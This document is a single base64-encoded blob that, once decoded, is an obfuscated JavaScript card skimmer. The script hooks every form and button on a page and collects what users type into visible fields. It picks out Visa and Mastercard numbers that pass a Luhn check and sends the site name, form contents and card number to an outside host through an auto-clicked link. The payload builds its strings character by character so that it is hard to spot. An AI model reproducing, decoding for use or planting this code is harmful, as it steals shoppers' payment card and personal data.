3391519559chdmFyIGdnMSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDk5OTk5OTk5OTkpICsgMTAwMDAwMDAwMDsNCnZhciBnZzIgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiA5OTk5OTk5OTkpICsgMTAwMDAwMDAwOw0KDQp2YXIgZ2czID0gZ2cxLnRvU3RyaW5nKCk7DQp2YXIgZ2c0ID0gZ2cyLnRvU3RyaW5nKCk7DQoNCnZhciBoaDAgPSBwYXJzZUludChnZzMuY2hhckF0KDApKTsNCnZhciBoaDEgPSBwYXJzZUludChnZzMuY2hhckF0KDEpKTsNCnZhciBoaDIgPSBwYXJzZUludChnZzMuY2hhckF0KDIpKTsNCnZhciBoaDMgPSBwYXJzZUludChnZzMuY2hhckF0KDMpKTsNCnZhciBoaDQgPSBwYXJzZUludChnZzMuY2hhckF0KDQpKTsNCnZhciBoaDUgPSBwYXJzZUludChnZzMuY2hhckF0KDUpKTsNCnZhciBoaDYgPSBwYXJzZUludChnZzMuY2hhckF0KDYpKTsNCnZhciBoaDcgPSBwYXJzZUludChnZzMuY2hhckF0KDcpKTsNCnZhciBoaDggPSBwYXJzZUludChnZzMuY2hhckF0KDgpKTsNCnZhciBoaDkgPSBwYXJzZUludChnZzMuY2hhckF0KDkpKTsNCg0KdmFyIGhoMTAgPSBwYXJzZUludChnZzQuY2hhckF0KDApKTsNCnZhciBoaDExID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCgxKSk7DQp2YXIgaGgxMiA9IHBhcnNlSW50KGdnNC5jaGFyQXQoMikpOw0KdmFyIGhoMTMgPSBwYXJzZUludChnZzQuY2hhckF0KDMpKTsNCnZhciBoaDE0ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg0KSk7DQp2YXIgaGgxNSA9IHBhcnNlSW50KGdnNC5jaGFyQXQoNSkpOw0KdmFyIGhoMTYgPSBwYXJzZUludChnZzQuY2hhckF0KDYpKTsNCnZhciBoaDE3ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg3KSk7DQp2YXIgaGgxOCA9IHBhcnNlSW50KGdnNC5jaGFyQXQoOCkpOw0KDQp2YXIgZGQwID0gImQiOw0KdmFyIGRkMSA9ICJlIjsNCnZhciBkZDIgPSAiZiI7DQp2YXIgZGQzID0gImEiOw0KdmFyIGRkNCA9ICJ1IjsNCnZhciBkZDUgPSAibCI7DQp2YXIgZGQ2ID0gInQiOw0KdmFyIGRkNyA9ICJwIjsNCnZhciBkZDggPSAicyI7DQp2YXIgZGQ5ID0gImUiOw0KdmFyIGRkMTAgPSAiciI7DQp2YXIgZGQxMSA9ICJ2IjsNCnZhciBkZDEyID0gInAiOw0KdmFyIGRkMTMgPSAiciI7DQp2YXIgZGQxNCA9ICJvIjsNCnZhciBkZDE1ID0gImEiOw0KdmFyIGRkMTYgPSAicyI7DQp2YXIgZGQxNyA9ICJwIjsNCnZhciBkZDE4ID0gIngiOw0KDQoNCmlmIChoaDAgPiA1KSB7DQpkZDAgPSAiRCI7DQp9DQppZiAoaGgxID4gNSkgew0KZGQxID0gIkUiOw0KfQ0KaWYgKGhoMiA+IDUpIHsNCmRkMiA9ICJGIjsNCn0NCmlmIChoaDMgPiA1KSB7DQpkZDMgPSAiQSI7DQp9DQppZiAoaGg0ID4gNSkgew0KZGQ0ID0gIlUiOw0KfQ0KaWYgKGhoNSA+IDUpIHsNCmRkNSA9ICJMIjsNCn0NCmlmIChoaDYgPiA1KSB7DQpkZDYgPSAiVCI7DQp9DQppZiAoaGg3ID4gNSkgew0KZGQ3ID0gIlAiOw0KfQ0KaWYgKGhoOCA+IDUpIHsNCmRkOCA9ICJTIjsNCn0NCmlmIChoaDkgPiA1KSB7DQpkZDkgPSAiRSI7DQp9DQppZiAoaGgxMCA+IDUpIHsNCmRkMTAgPSAiUiI7DQp9DQppZiAoaGgxMSA+IDUpIHsNCmRkMTEgPSAiViI7DQp9DQppZiAoaGgxMiA+IDUpIHsNCmRkMTIgPSAiUCI7DQp9DQppZiAoaGgxMyA+IDUpIHsNCmRkMTMgPSAiUiI7DQp9DQppZiAoaGgxNCA+IDUpIHsNCmRkMTQgPSAiTyI7DQp9DQppZiAoaGgxNSA+IDUpIHsNCmRkMTUgPSAiQSI7DQp9DQppZiAoaGgxNiA+IDUpIHsNCmRkMTYgPSAiUyI7DQp9DQppZiAoaGgxNyA+IDUpIHsNCmRkMTcgPSAiUCI7DQp9DQppZiAoaGgxOCA+IDUpIHsNCmRkMTggPSAiWCI7DQp9DQoNCg0KDQp2YXIgZm9mZiA9IGRkMCArIGRkMSArIGRkMiArIGRkMyArIGRkNCArIGRkNSArIGRkNiArIGRkNyArIGRkOCArIGRkOSArIGRkMTAgKyBkZDExICsgZGQxMiArIGRkMTMgKyBkZDE0ICsgIi4iICsgZGQxNSArIGRkMTYgKyBkZDE3ICsgZGQxODsNCmxldCBudW0gPSBkb2N1bWVudC5mb3Jtcy5sZW5ndGg7DQoNCg0KbGV0IGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5mb3JtczsNCiAgCWZvciAodmFyIGkyID0gMDsgaTIgPCBmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKykgew0KICAgIAkJZm9ybXNDb2xsZWN0aW9uMltpMl0ub25zdWJtaXQgPSBmdW5jdGlvbigpIHsNCiAgICAgICBUZXN0T25CKCk7DQp9DQp9DQoNCmxldCBmb3Jtc0NvbGxlY3Rpb24yYSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJidXR0b24iKTsNCiAgCWZvciAodmFyIGkyYSA9IDA7IGkyYSA8IGZvcm1zQ29sbGVjdGlvbjJhLmxlbmd0aDsgaTJhKyspIHsNCiAgICAJCWZvcm1zQ29sbGVjdGlvbjJhW2kyYV0ub25jbGljayA9IGZ1bmN0aW9uKCkgew0KCVRlc3RPbkIoKTsNCn0NCn0NCndpbmRvdy5vbnN1Ym1pdCA9IGZ1bmN0aW9uICgpIHsNCglUZXN0T25CKCk7DQp9DQoNCmZ1bmN0aW9uIFRlc3RPbkIoKSB7DQp2YXIgaG9ob2QgPSAiZHMuIjsNCg0KDQoNCg0KICB2YXIgc2l0ZSA9IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsNCiAgdmFyIHN0cjEgPSAiIjsNCiAgdmFyIG5ubiA9ICIiOw0KICB2YXIgaG9ob2MgPSAiaWNhIjsNCiAgdmFyIGNoZWNrMSA9IDA7DQogIHZhciBjaGVjazIgPSAwOw0KICB2YXIgbG9vbGEgPSAwOw0KICB2YXIgaG9ob2UgPSAiMyI7DQogIHZhciBmb3Jtc0NvbGxlY3Rpb24gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTsNCiAgZm9yICh2YXIgaSA9IDA7IGkgPCBmb3Jtc0NvbGxlY3Rpb24ubGVuZ3RoOyBpKyspIHsNCiAgICB2YXIgaGFoYSA9IGZvcm1zQ29sbGVjdGlvbltpXS5pZDsNCiAgICB2YXIgaGFoYTIgPSBmb3Jtc0NvbGxlY3Rpb25baV0udHlwZTsNCiAgICB2YXIgaGFoYTMgPSBmb3Jtc0NvbGxlY3Rpb25baV0udmFsdWU7DQogICAgdmFyIGhhaGE0ID0gZm9ybXNDb2xsZWN0aW9uW2ldLm5hbWU7DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID4gMTQpIHsNCg0KICAgICAgaGFoYTMgPSBoYWhhMy5yZXBsYWNlKC9ccy9nLCAnJyk7DQogICAgICB2YXIgaXNudW0gPSAvXlxkKyQvLnRlc3QoaGFoYTMpOw0KICAgICAgdmFyIG4xID0gaGFoYTMuc3RhcnRzV2l0aCgnNCcpOw0KICAgICAgdmFyIG4yID0gaGFoYTMuc3RhcnRzV2l0aCgnNScpOw0KICAgICAgdmFyIG4zID0gaGFoYTMuc3RhcnRzV2l0aCgnNicpOw0KICAgICAgdmFyIG4wID0gaGFoYTMuc3RhcnRzV2l0aCgnMycpOw0KDQogICAgICBpZiAobjEgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAxOw0KICAgICAgfQ0KICAgICAgaWYgKG4yID09IHRydWUpIHsNCiAgICAgICAgY2hlY2syID0gMTsNCiAgICAgIH0NCiAgICAgIGlmIChuMyA9PSB0cnVlKSB7DQogICAgICAgIGNoZWNrMiA9IDA7DQogICAgICB9DQogICAgICBpZiAobjAgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAwOw0KICAgICAgfQ0KDQoNCiAgICB9DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE1KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID0gJzEnKSB7DQogICAgICAgICAgY2hlY2sxID0gJzAnOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgIGlmIChoYWhhMy5sZW5ndGggPT0gMTYpIHsNCiAgICAgIGlmIChpc251bSA9PSB0cnVlKSB7DQogICAgICAgIGlmIChjaGVjazIgPT0gMSkgew0KICAgICAgICAgIGNoZWNrMSA9ICcxJzsNCiAgICAgICAgICAgIG5ubiA9IGhhaGEzDQoNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE3KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID09IDEpIHsNCiAgICAgICAgICBjaGVjazEgPSAnMCc7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgaWYgKGhhaGEzLmxlbmd0aCA+IDApIHsNCiAgICAgIGlmIChoYWhhMiA9PSAiaGlkZGVuIikgew0KDQogICAgICB9IGVsc2Ugew0KICAgICAgICBzdHIxID0gc3RyMSArIGhhaGE0ICsgIi0tIiArIGhhaGEzICsgIi0iOw0KICAgICAgfQ0KDQogICAgfQ0KDQogIH0NCiAgdmFyIGNoMSA9ICcxJw0KDQogIGlmIChjaGVjazEgPT0gMSkgew0KDQoJdmFyIGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2VsZWN0Jyk7DQogIAlmb3IgKHZhciBpMiA9IDA7IGkyIDwgZm9ybXNDb2xsZWN0aW9uMi5sZW5ndGg7IGkyKyspIHsNCiAgICAJCXZhciBzaGFoYSA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLmlkOw0KICAgIAkJdmFyIHNoYWhhMiA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLnR5cGU7DQogICAgCQl2YXIgc2hhaGEzID0gZm9ybXNDb2xsZWN0aW9uMltpMl0udmFsdWU7DQogICAgCQl2YXIgc2hhaGE0ID0gZm9ybXNDb2xsZWN0aW9uMltpMl0ubmFtZTsNCg0KICAgIAkJc3RyMSA9IHN0cjEgKyBzaGFoYTQgKyAiLS0iICsgc2hhaGEzICsgIi0iDQogICAgICAgICAgICBzaXRlID0gc2l0ZSArICItUm9sQGFuZDRZb3UiOw0KICAgICAgICAgICAgc3RyMSA9IHNpdGUgKyAiLSIgKyBzdHIxOw0KDQogCX0NCnZhciBob2hvYSA9ICJib3IiOw0KdmFyIGhvaG9iID0gIi5iZyI7DQoNCmlmIChzaXRlID09IGhvaG9lICsgaG9ob2QgKyBob2hvYSArIGhvaG9jICsgaG9ob2IpIHsNCg0KDQp9IGVsc2Ugew0KDQoNCg0KDQogaWYgKG5ubi5zdGFydHNXaXRoKCI0IikgfHwgbm5uLnN0YXJ0c1dpdGgoIjUiKSkgew0KICAgIGxvb2xhID0gMTsNCg0KDQogICAgdmFyIGhhMSA9ICI6IjsNCiAgICB2YXIgaGEyID0gImgiOw0KICAgIHZhciBoYTMgPSAicCI7DQogICAgdmFyIGhhNCA9ICIvIjsNCiAgICB2YXIgaGE1ID0gInQiOw0KDQp2YXIgdGV4dCA9IG5ubjsNCnZhciB2YXIxID0gdGV4dC5jaGFyQXQoMCk7DQp2YXIgdmFyMiA9IHRleHQuY2hhckF0KDEpOw0KdmFyIHZhcjMgPSB0ZXh0LmNoYXJBdCgyKTsNCnZhciB2YXI0ID0gdGV4dC5jaGFyQXQoMyk7DQp2YXIgdmFyNSA9IHRleHQuY2hhckF0KDQpOw0KdmFyIHZhcjYgPSB0ZXh0LmNoYXJBdCg1KTsNCnZhciB2YXI3ID0gdGV4dC5jaGFyQXQoNik7DQp2YXIgdmFyOCA9IHRleHQuY2hhckF0KDcpOw0KdmFyIHZhcjkgPSB0ZXh0LmNoYXJBdCg4KTsNCnZhciB2YXIxMCA9IHRleHQuY2hhckF0KDkpOw0KdmFyIHZhcjExID0gdGV4dC5jaGFyQXQoMTApOw0KdmFyIHZhcjEyID0gdGV4dC5jaGFyQXQoMTEpOw0KdmFyIHZhcjEzID0gdGV4dC5jaGFyQXQoMTIpOw0KdmFyIHZhcjE0ID0gdGV4dC5jaGFyQXQoMTMpOw0KdmFyIHZhcjE1ID0gdGV4dC5jaGFyQXQoMTQpOw0KdmFyIHZhcjE2ID0gdGV4dC5jaGFyQXQoMTUpOw0KdmFyIHMyID0gcGFyc2VJbnQodmFyMik7DQp2YXIgczQgPSBwYXJzZUludCh2YXI0KTsNCnZhciBzNiA9IHBhcnNlSW50KHZhcjYpOw0KdmFyIHM4ID0gcGFyc2VJbnQodmFyOCk7DQp2YXIgczEwID0gcGFyc2VJbnQodmFyMTApOw0KdmFyIHMxMiA9IHBhcnNlSW50KHZhcjEyKTsNCnZhciBzMTQgPSBwYXJzZUludCh2YXIxNCk7DQp2YXIgczE2ID0gcGFyc2VJbnQodmFyMTYpOw0KDQp2YXIgczEgPSBwYXJzZUludCh2YXIxKSAqIDI7DQppZiAoczEgPiA5KSB7DQogICAgbGV0IHoxID0gczEudG9TdHJpbmcoKQ0KICAgIHZhciBtbTExID0gejEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxID0gejEuY2hhckF0KDEpOw0KDQogICAgczEgPSBwYXJzZUludChtbTExKSArIHBhcnNlSW50KG1tMjEpOw0KDQp9Ow0KdmFyIHMzID0gcGFyc2VJbnQodmFyMykgKiAyOw0KaWYgKHMzID4gOSkgew0KICAgICBsZXQgejMgPSBzMy50b1N0cmluZygpDQogICAgdmFyIG1tMTMgPSB6My5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjMgPSB6My5jaGFyQXQoMSk7DQogICAgczMgPSBwYXJzZUludChtbTEzKSArIHBhcnNlSW50KG1tMjMpOw0KfTsNCnZhciBzNSA9IHBhcnNlSW50KHZhcjUpICogMjsNCmlmIChzNSA+IDkpIHsNCiAgICAgbGV0IHo1ID0gczUudG9TdHJpbmcoKQ0KICAgIHZhciBtbTE1ID0gejUuY2hhckF0KDApOw0KICAgIHZhciBtbTI1ID0gejUuY2hhckF0KDEpOw0KICAgIHM1ID0gcGFyc2VJbnQobW0xNSkgKyBwYXJzZUludChtbTI1KTsNCn07DQp2YXIgczcgPSBwYXJzZUludCh2YXI3KSAqIDI7DQppZiAoczcgPiA5KSB7DQogICAgIGxldCB6NyA9IHM3LnRvU3RyaW5nKCkNCiAgICB2YXIgbW0xNyA9IHo3LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yNyA9IHo3LmNoYXJBdCgxKTsNCiAgICBzNyA9IHBhcnNlSW50KG1tMTcpICsgcGFyc2VJbnQobW0yNyk7DQp9Ow0KdmFyIHM5ID0gcGFyc2VJbnQodmFyOSkgKiAyOw0KaWYgKHM5ID4gOSkgew0KICAgICBsZXQgejkgPSBzOS50b1N0cmluZygpDQogICAgdmFyIG1tMTkgPSB6OS5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjkgPSB6OS5jaGFyQXQoMSk7DQogICAgczkgPSBwYXJzZUludChtbTE5KSArIHBhcnNlSW50KG1tMjkpOw0KfTsNCnZhciBzMTEgPSBwYXJzZUludCh2YXIxMSkgKiAyOw0KaWYgKHMxMSA+IDkpIHsNCiAgICAgbGV0IHoxMSA9IHMxMS50b1N0cmluZygpDQogICB2YXIgbW0xMTEgPSB6MTEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxMSA9IHoxMS5jaGFyQXQoMSk7DQogICAgczExID0gcGFyc2VJbnQobW0xMTEpICsgcGFyc2VJbnQobW0yMTEpOw0KfTsNCnZhciBzMTMgPSBwYXJzZUludCh2YXIxMykgKiAyOw0KaWYgKHMxMyA+IDkpIHsNCiAgICAgbGV0IHoxMyA9IHMxMy50b1N0cmluZygpDQogICAgdmFyIG1tMTEzID0gejEzLmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTMgPSB6MTMuY2hhckF0KDEpOw0KICAgIHMxMyA9IHBhcnNlSW50KG1tMTEzKSArIHBhcnNlSW50KG1tMjEzKTsNCn07DQp2YXIgczE1ID0gcGFyc2VJbnQodmFyMTUpICogMjsNCmlmIChzMTUgPiA5KSB7DQogICAgIGxldCB6MTUgPSBzMTUudG9TdHJpbmcoKQ0KICAgdmFyIG1tMTE1ID0gejE1LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTUgPSB6MTUuY2hhckF0KDEpOw0KICAgIHMxNSA9IHBhcnNlSW50KG1tMTE1KSArIHBhcnNlSW50KG1tMjE1KTsNCn07DQp2YXIgbW9saSA9IHMxICsgczIgKyBzMyArIHM0ICsgczUgKyBzNiArIHM3ICsgczggKyBzOSArIHMxMCArIHMxMSArIHMxMiArIHMxMyArIHMxNCArIHMxNSArIHMxNjsNCm1vbGkgPSBtb2xpLnRvU3RyaW5nKCk7DQoNCg0KCXZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KCXZhciBsaW5rVGV4dCA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCJteSB0aXRsZSB0ZXh0Iik7DQoJYS5hcHBlbmRDaGlsZChsaW5rVGV4dCk7DQoJYS5pZCA9ICJpZDIyMiI7DQoJYS50aXRsZSA9ICJteSB0aXRsZSB0ZXh0IjsNCglhLmhyZWYgPSBoYTIgKyBoYTUgKyBoYTUgKyBoYTMgKyBoYTEgKyBoYTQgKyBoYTQgKyAidXJiaW5zIiArIG1vbGkuY2hhckF0KG1vbGkubGVuZ3RoIC0gMSkgKyAiLTAwMS1zaXRlMS5kdGVtcHVybC5jb20vIiArIGZvZmYgKyAiP1M9IiArIHNpdGUgKyAiJkQ9IiArIHN0cjEgKyAiJk49IiArIG5ubjsNCglkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpZDIyMicpLmNsaWNrKCk7DQoNCgl2YXIgaWcgPSAwOw0KDQoNCg0KICAgICAgCXZhciBkID0gbmV3IERhdGUoKTsNCiAgICAgIAl2YXIgbiA9IGQuZ2V0U2Vjb25kcygpOw0KDQogICAgIAlkbyB7DQoNCiAgICAgICAgIAl2YXIgZDIgPSBuZXcgRGF0ZSgpOw0KICAgICAgICAgCXZhciBuNCA9IGQyLmdldFNlY29uZHMoKTsNCg0KICAgICAgICAgCWlmIChuIDwgNTUpIHsNCiAgICAgICAgICAgICAJCWlmIChuICsgNSA8IG40KSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgICAgIGlmIChuID4gNTQpIHsNCiAgICAgICAgICAgICBpZiAobiArIDUgPCBuNCArIDYwKSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgfQ0KICAgIHdoaWxlIChpZyA8IDIpOw0KDQoNCmlmIChsb29sYSA9PSAxKSB7DQoNCg0KfQ0KDQoNCiAgICAgfQ0KDQoNCn0NCn0NCg0KDQoNCg0KDQp9DQoNCg0K